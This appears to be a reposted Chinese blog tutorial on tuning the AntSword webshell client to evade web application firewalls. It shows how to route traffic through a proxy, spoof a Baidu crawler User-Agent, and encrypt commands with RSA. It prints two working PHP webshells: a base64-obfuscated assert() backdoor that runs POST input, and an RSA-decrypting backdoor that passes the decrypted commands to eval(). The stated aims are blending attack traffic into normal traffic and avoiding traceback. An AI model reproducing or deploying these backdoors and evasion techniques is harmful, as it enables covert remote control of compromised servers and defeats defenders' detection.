zoukankan      html  css  js  c++  java
  • 蚁剑特征性信息修改简单过WAF

    0x00 前言

    针对于蚁剑的特征,对于流量传输中WAF检测的绕过, 打造武器库, 进行合理化的修改,例如请求头的伪造,流量的加密等一些常用功能,这边主要进行 这几部分的修改。

    0x01 修改位置

    • 蚁剑代理通道
    • UA特征伪造
    • RSA流量加密

    0x02 具体操作

    1.蚁剑代理通道

    蚁剑代理通道设置(前提是必须有这个代理):

    2.UA特征伪造

    蚁剑默认UA抓包:

    主要修改的位置:

    /modules/request.js

    这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:

    Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

    原来的UA:

    UA修改后(百度UA爬虫):

    /modules/update.js

    同样的方法,将UA头修改为百度爬虫:

    修改前:

    修改后UA头:

    通过以上修改后,抓包查看:

    3.RSA流量加密

    蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。
    在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。

    <?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>

    注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。

    其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。

    采用RSA加密

    新建一个rsa编码器

    <?php
    $cmd = @$_POST['ant'];
    $pk = <<<EOF
    -----BEGIN PUBLIC KEY-----
    MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34
    XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k
    8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3N
    eAKyYF0SRzIqPz8CvwIDAQAB
    -----END PUBLIC KEY-----
    EOF;
    $cmds = explode("|", $cmd);
    $pk = openssl_pkey_get_public($pk);
    $cmd = '';
    foreach ($cmds as $value) {
      if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
        $cmd .= $de;
      }
    }
    eval($cmd);

    0x03 总结

    细节绝对成败,针对于WAF和内网流量设备的检测,使用加密流量去混淆在正常流量中,使用代理模式,防止间接性溯源。如果有更好的绕过方式和流量混淆方式,请及时联系,共同学习进步。

    转载请注明:Adminxe's Blog » 蚁剑特征性信息修改简单过WAF

  • 相关阅读:
    python服务注册到nacos
    springboot设置响应状态码
    nio 实现群聊小系统
    记一次maven问题(把maven仓库打包后在离线环境另一个机器导入不成功)
    客户端查看sql的执行时间
    java 运行python脚本
    http访问支持websocket
    ”真实项目“ 与“作业”
    工厂方法模式
    idea 开发 SSM jar包找不到
  • 原文地址:https://www.cnblogs.com/cn-gov/p/13706933.html
Copyright © 2011-2022 走看看